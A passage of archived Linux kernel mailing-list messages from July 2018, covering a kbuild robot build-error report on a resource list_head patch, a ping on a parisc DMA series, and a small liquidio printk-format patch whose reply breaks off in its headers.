>> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation
>
>
>_______________________________________________
>kbuild-all mailing list
>kbuild-all-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
>https://lists.01.org/mailman/listinfo/kbuild-all

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [kbuild-all] [PATCH v6 2/4] resource: Use list_head to link
 sibling resource
Date: Tue, 10 Jul 2018 11:10:55 +0800
Lines: 98
Approved: news@gmane.org
Message-ID: <20180710031055.GC1969@MiWiFi-R3L-srv>
References: <20180704041038.8190-3-bhe@redhat.com>
 <201807042347.hfDcKxmG%fengguang.wu@intel.com>
 <20180708025946.GI3047@MiWiFi-R3L-srv>
 <20180710005927.GG10005@yexl-desktop>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531192148 18644 195.159.176.226 (10 Jul 2018 03:09:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 10 Jul 2018 03:09:08 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org, sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, kbuild-all-JC7UmRfGjtg@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec@li
To: Ye Xiaolong <xiaolong.ye-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jul 10 05:08:59 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fcj1P-0004gJ-6Z
	for gln-linux-nvdimm@m.gmane.org; Tue, 10 Jul 2018 05:08:59 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id CB3DC209605AF;
	Mon,  9 Jul 2018 20:11:09 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 06831209605AF
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon,  9 Jul 2018 20:11:07 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx03.intmail.prod.int.rdu2.redhat.com
 [10.11.54.3])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 3F89340AC6DF;
 Tue, 10 Jul 2018 03:11:06 +0000 (UTC)
Original-Received: from localhost (ovpn-8-18.pek2.redhat.com [10.72.8.18])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id AB2C0111CA19;
 Tue, 10 Jul 2018 03:10:57 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20180710005927.GG10005@yexl-desktop>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.3
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.7]); Tue, 10 Jul 2018 03:11:06 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.7]);
 Tue, 10 Jul 2018 03:11:06 +0000 (UTC) for IP:'10.11.54.3'
 DOMAIN:'int-mx03.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10796 gmane.linux.drivers.devicetree:278553 gmane.linux.kernel.pci:73875 gmane.linux.kernel.input:61964 gmane.linux.ports.parisc:28780 gmane.linux.kernel.kexec:21143 gmane.linux.kernel:2815897 gmane.linux.ports.ppc64.devel:159879
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10796>

On 07/10/18 at 08:59am, Ye Xiaolong wrote:
> Hi,
> 
> On 07/08, Baoquan He wrote:
> >Hi,
> >
> >On 07/05/18 at 01:00am, kbuild test robot wrote:
> >> Hi Baoquan,
> >> 
> >> I love your patch! Yet something to improve:
> >> 
> >> [auto build test ERROR on linus/master]
> >> [also build test ERROR on v4.18-rc3 next-20180704]
> >> [if your patch is applied to the wrong git tree, please drop us a note to help improve the system]
> >
> >Thanks for telling. 
> >
> >I cloned 0day-ci/linut to my local pc.
> >https://github.com/0day-ci/linux.git
> >
> >However, I didn't find below branch. And tried to open it in web
> >broswer, also failed.
> >
> 
> Sorry for the inconvenience, 0day bot didn't push the branch to github successfully,
> Just push it manually, you can have a try again.

Thanks, Xiaolong, I have applied them on top of linux-next/master, and
copy the config file attached, and run the command to reproduce as
suggested. Now I have fixed all those issues reported, will repost.

> 
> >
> >> url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180704-121402
> >> config: mips-rb532_defconfig (attached as .config)
> >> compiler: mipsel-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
> >> reproduce:
> >>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
> >>         chmod +x ~/bin/make.cross
> >>         # save the attached .config to linux build tree
> >>         GCC_VERSION=7.2.0 make.cross ARCH=mips 
> >
> >I did find a old one which is for the old version 5 post.
> >
> >[bhe@linux]$ git remote -v
> >0day-ci	https://github.com/0day-ci/linux.git (fetch)
> >0day-ci	https://github.com/0day-ci/linux.git (push)
> >[bhe@dhcp-128-28 linux]$ git branch -a| grep Baoquan| grep resource
> >  remotes/0day-ci/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
> >
> >Could you help have a look at this?
> >
> >Thanks
> >Baoquan
> >
> >> 
> >> All error/warnings (new ones prefixed by >>):
> >> 
> >> >> arch/mips/pci/pci-rc32434.c:57:11: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
> >>      .child = &rc32434_res_pci_mem2
> >>               ^
> >>    arch/mips/pci/pci-rc32434.c:57:11: note: (near initialization for 'rc32434_res_pci_mem1.child.next')
> >> >> arch/mips/pci/pci-rc32434.c:51:47: warning: missing braces around initializer [-Wmissing-braces]
> >>     static struct resource rc32434_res_pci_mem1 = {
> >>                                                   ^
> >>    arch/mips/pci/pci-rc32434.c:60:47: warning: missing braces around initializer [-Wmissing-braces]
> >>     static struct resource rc32434_res_pci_mem2 = {
> >>                                                   ^
> >>    cc1: some warnings being treated as errors
> >> 
> >> vim +57 arch/mips/pci/pci-rc32434.c
> >> 
> >> 73b4390f Ralf Baechle 2008-07-16  50  
> >> 73b4390f Ralf Baechle 2008-07-16 @51  static struct resource rc32434_res_pci_mem1 = {
> >> 73b4390f Ralf Baechle 2008-07-16  52  	.name = "PCI MEM1",
> >> 73b4390f Ralf Baechle 2008-07-16  53  	.start = 0x50000000,
> >> 73b4390f Ralf Baechle 2008-07-16  54  	.end = 0x5FFFFFFF,
> >> 73b4390f Ralf Baechle 2008-07-16  55  	.flags = IORESOURCE_MEM,
> >> 73b4390f Ralf Baechle 2008-07-16  56  	.sibling = NULL,
> >> 73b4390f Ralf Baechle 2008-07-16 @57  	.child = &rc32434_res_pci_mem2
> >> 73b4390f Ralf Baechle 2008-07-16  58  };
> >> 73b4390f Ralf Baechle 2008-07-16  59  
> >> 
> >> :::::: The code at line 57 was first introduced by commit
> >> :::::: 73b4390fb23456964201abda79f1210fe337d01a [MIPS] Routerboard 532: Support for base system
> >> 
> >> :::::: TO: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> >> :::::: CC: Ralf Baechle <ralf-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>
> >> 
> >> ---
> >> 0-DAY kernel test infrastructure                Open Source Technology Center
> >> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation
> >
> >
> >_______________________________________________
> >kbuild-all mailing list
> >kbuild-all-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
> >https://lists.01.org/mailman/listinfo/kbuild-all

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.parisc
Subject: Re: convert parisc to the generic dma-noncoherent code
Date: Wed, 11 Jul 2018 17:34:45 +0200
Lines: 11
Approved: news@gmane.org
Message-ID: <20180711153445.GC31946@lst.de>
References: <20180619070455.26624-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1531323174 29296 195.159.176.226 (11 Jul 2018 15:32:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 11 Jul 2018 15:32:54 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
To: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Wed Jul 11 17:32:50 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fdH6m-0007RQ-0r
	for glki-iommu@m.gmane.org; Wed, 11 Jul 2018 17:32:48 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9060DD35;
	Wed, 11 Jul 2018 15:33:03 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 32037D24
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jul 2018 15:33:02 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id CDDE2334
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Wed, 11 Jul 2018 15:33:01 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id B3B9B68CF4; Wed, 11 Jul 2018 17:34:45 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20180619070455.26624-1-hch-jcswGhMUV9g@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:25190 gmane.linux.ports.parisc:28781
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/25190>

ping?  Any comments?

On Tue, Jun 19, 2018 at 09:04:52AM +0200, Christoph Hellwig wrote:
> This should address all the comments raised last time.
> 
> 
> _______________________________________________
> iommu mailing list
> iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
> https://lists.linuxfoundation.org/mailman/listinfo/iommu
---end quoted text---

From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: [PATCH] liquidio: Use %pad printk format for dma_addr_t values
Date: Thu, 12 Jul 2018 22:36:29 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20180712203629.GA32537@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1531427674 20004 195.159.176.226 (12 Jul 2018 20:34:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jul 2018 20:34:34 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: linux-parisc@vger.kernel.org
To: Derek Chickles <derek.chickles@caviumnetworks.com>,
        Satanand Burla <satananda.burla@caviumnetworks.com>,
        Felix Manlunas <felix.manlunas@caviumnetworks.com>,
        Raghu Vatsavayi <raghu.vatsavayi@caviumnetworks.com>,
        netdev@vger.kernel.org
Original-X-From: netdev-owner@vger.kernel.org Thu Jul 12 22:34:29 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fdiIF-000549-RR
	for gl-netdev-2@m.gmane.org; Thu, 12 Jul 2018 22:34:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1732459AbeGLUrt (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Thu, 12 Jul 2018 16:47:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:37141 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1726457AbeGLUrs (ORCPT <rfc822;netdev@vger.kernel.org>);
        Thu, 12 Jul 2018 16:47:48 -0400
Original-Received: from ls3530.fritz.box ([92.116.131.18]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0M5LJv-1fztRY1owJ-00zXd7; Thu, 12
 Jul 2018 22:36:31 +0200
Content-Disposition: inline
X-Provags-ID: V03:K1:bGlHq2K6Y+oK3pzvDL0aZKRvwY9iXPCE3zVq1UVbYzmWO6RKJeG
 bfhXZ8IXpWW62nxRD8xMo2VjYJWmOGvVOIsr51SvdC0pEmmO4B9UbkW0qDI3Urp9ow7MRFe
 qqZ3gMahHQG8jVkwM6oNuk8igRZCqOdrfWguxzLfE77rAcTBewlPBDkv5NHMgVdThFWBtPU
 AUy92ThIdQFipWSypd4bA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:5MEwlvdMdSY=:79rVuGKmX5AC5V93QhqRM+
 eL+MWIJt4+Gz06uQn/+NmUP1Ahvx+vwfQMpcTUyH3bDOAItK8RQNXpoksiqwwv35RA6EtKfkX
 /pEhb0T+Da6ZQBU8nFy4ty76s0X/Sh6Mu3ozY4fakdCuZhRKVJhNdEGQYlzQnH2DeFaI+Yk5V
 rEY6wT1yKnDClZblnYNOo1/ce77oxuofZCcZhModT4D+6gTFYeGZMSgTF8DC+CWoeCoL9h+zd
 o0iIaqO2rLljvl8L7Zv6Pn/YyHHZMaK3BoJmQvbxLzztt9eIU33R3hFAC7seVjm+sTq19Al42
 vSo98yhtyD4gcGfBCYa7Z9SqlJOKO89JS4s2tMDE9c2qeY6obkkdXi6XcsKafj0SKCuU37rzX
 4WB+C49fwNmsJ2YA12sikQSdsxXNwd/IGMwaNsvEn/BzWvB6DS+NM4CGsNjog0m2XWRFRVUgN
 t9XyrIIuCLP0nn/4brrVLWogP3GfRougRmhDuTJcBtSUhrOfyBrwVr/8TpjoDNPiuUlbnrYGN
 Yt8Qk8uQ8n9a+zak/mivHVosF20eg1ga5BcZ3s7xM10IJZMSoDoy6DCe0wr79Ofz33oLWpz7t
 +l+hd1gk4m5xUx2D0C3pfUD3zS6a/PRVoSgRwteynDaRmOOug5NvB+DXiGoVBWV7EyruKYj+5
 M8wDko6BObZDnx05Q8LjkW38G41P4/P/gFmqs1ixkpAJlhuh5PqhqVr/FClX8rbUgrgBWRTUO
 tOn3iQQLgFsn9GzfSB3o2hqAoHD26Y9BwXzQJk/vAoscgYrUk6HCqYAl+NE=
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:544192 gmane.linux.ports.parisc:28782
Archived-At: <http://permalink.gmane.org/gmane.linux.network/544192>

Use the existing %pad printk format to print dma_addr_t values.
This avoids the following warnings when compiling on the parisc platform:

warning: format '%llx' expects argument of type 'long long unsigned int', but argument 2 has type 'dma_addr_t {aka unsigned int}' [-Wformat=]

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/net/ethernet/cavium/liquidio/request_manager.c b/drivers/net/ethernet/cavium/liquidio/request_manager.c
index 1f2e75da28f8..d5d9e47daa4b 100644
--- a/drivers/net/ethernet/cavium/liquidio/request_manager.c
+++ b/drivers/net/ethernet/cavium/liquidio/request_manager.c
@@ -110,8 +110,8 @@ int octeon_init_instr_queue(struct octeon_device *oct,
 
 	memset(iq->request_list, 0, sizeof(*iq->request_list) * num_descs);
 
-	dev_dbg(&oct->pci_dev->dev, "IQ[%d]: base: %p basedma: %llx count: %d\n",
-		iq_no, iq->base_addr, iq->base_addr_dma, iq->max_count);
+	dev_dbg(&oct->pci_dev->dev, "IQ[%d]: base: %p basedma: %pad count: %d\n",
+		iq_no, iq->base_addr, &iq->base_addr_dma, iq->max_count);
 
 	iq->txpciq.u64 = txpciq.u64;
 	iq->fill_threshold = (u32)conf->db_min;


From - Thu Nov 08 21:41:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Felix Manlunas <felix.manlunas@cavium.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] liquidio: Use %pad printk format for dma_addr_t values
Date: Thu, 12 Jul 2018 17:06:48 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20180713000648.GA3206@felix-thinkpad.cavium.com>
References: <20180712203629.GA32537@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1531440297 22112 195.159.176.226 (13 Jul 2018 00:04:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 13 Jul 2018 00:04:57 +0000 (UTC)
User-Agent: Mutt/1.6.1 (2016-04-27)
Cc: Derek Chickles <derek.chickles@caviumnetworks.com>,
        Satanand Burla <satananda.burla@caviumnetworks.com>,
        Felix Manlunas <felix.manlunas@caviumnetworks.com>,
        Raghu Vatsavayi <raghu.vatsavayi@caviumnetworks.com>,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: netdev-owner@vger.kernel.org Fri Jul 13 02:04:52 2018
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: gl-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1fdlZr-0005eI-4V
	for gl-netdev-2@m.gmane.org; Fri, 13 Jul 2018 02:04:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387759AbeGMAS4 (ORCPT <rfc822;gl-netdev-2@m.gmane.org>);
        Thu, 12 Jul 2018 20:18:56 -0400
Original-Received: from mail-by2nam03on0046.outbound.protection.outlook.com ([104.47.42.46]:6752
        "EHLO NAM03-BY2-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S2387617AbeGMAS4 (ORCPT <rfc822;netdev@vger.kernel.org>);
        Thu, 12 Jul 2018 20:18:56 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=CAVIUMNETWORKS.onmicrosoft.com; s=selector1-cavium-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=6+oAgJ99YYy8cy2ls5J/y0q7Ma0HSUAZWr8QfC+7hiM=;
 b=HaAz7JAl6OcQEQ+vKDdqhTY5/weMXcQx2dtLP+SZGvU3M8pKalb5aN8/6nOMTnHyki2t0hxm2asZlfbTP1TMFO6INOpRhnWCB5EOc7BcdXfm/qLJ8nnR7AwdabkpTTbz+jFULEepQ9llNpM0NJoCRjZLhOZ0Ll5kGaUFJQpz61g=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=Felix.Manlunas@cavium.com; 
Original-Received: from localhost (50.233.148.155) by
 BN6PR07MB2817.namprd07.prod.outlook.com (2603:10b6:404:40::11) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.930.21; Fri, 13 Jul 2018 00:06:54 +0000
Content-Disposition: inline
In-Reply-To: <20180712203629.GA32537@ls3530.fritz.box>
X-Originating-IP: [50.233.148.155]
X-ClientProxiedBy: BN6PR10CA0042.namprd10.prod.outlook.com
 (2603:10b6:404:109::28) To BN6PR07MB2817.namprd07.prod.outlook.com
 (2603:10b6:404:40::11)
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id: a9713cbf-dbb9-43c2-0bb2-08d5e8548af6
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(7020095)(4652040)(8989117)(5600053)(711020)(4534165)(4627221)(201703031133081)(201702281549075)(8990107)(2017052603328)(7153060)(7193020);SRVR:BN6PR07MB2817;
X-Microsoft-Exchange-Diagnostics: 1;BN6PR07MB2817;3:wqJEnAH30S0CZtvBJt/xmfp3jOttglMhSId1RkPH5wQsLPnaIABzyZX/evW094Do5Uzsm07j7+D7pA7zD3NWVLKob3omiXNGT9N6c1OrHtHEUkAVQoWgODU/FUzgm82Iq3Wf/sEtv7uZlldgTnpihwCGyBTKmcoHgVJqQ6lEwoul7pKDA7lZscd18LszOOd/v/1/U9AKiohwpahMnaTHFYQ560EGIC0VoTcderBgwtHk33H4HdQas7ue/QEAxXsT;25:BHfxiKSycWm2/7fAQxW773+rEni31I5kbgm8mI29RxUPUNfEqEXnBy8OwgnFiYt7oSLAbzqzaUZcs2usHP1vPEQVINcVj/Ik+8sSs6I7Xlm0XWqoyH6Pb+rAOs5fP65+E0NBYrx2hOGBCQ8mS684Fwv4jIgmQiW9VXhRI0BgepWz+2s5EEiqo3F3sl4xbeO3GQyui07f1jlmRW1o5J0m9GTMTTJUSqdLlGbJRJCOX0WJncxKyqDIb3/B/50u27YrDyqizMz8f+knitxh+quLC1W2frxcqIF7F8MlUMhPgixsqK5NK8s3Y6zYyDgO2RtdiUaia90qCXK+0Xd9Ik6Jkw==;31:4X+ytkAlrD3HqBil9r2M9pMwpBloZrAzpzzX8M6DR/5Zw0qaghRf44pWHNX9KBP1h/RoANCkGAyC86VLeSScMznRL/GT9AzZfB6nhqR2f84rCmJUe/Q1w9vYd2hEp8KE/I0UIWJTCk/D
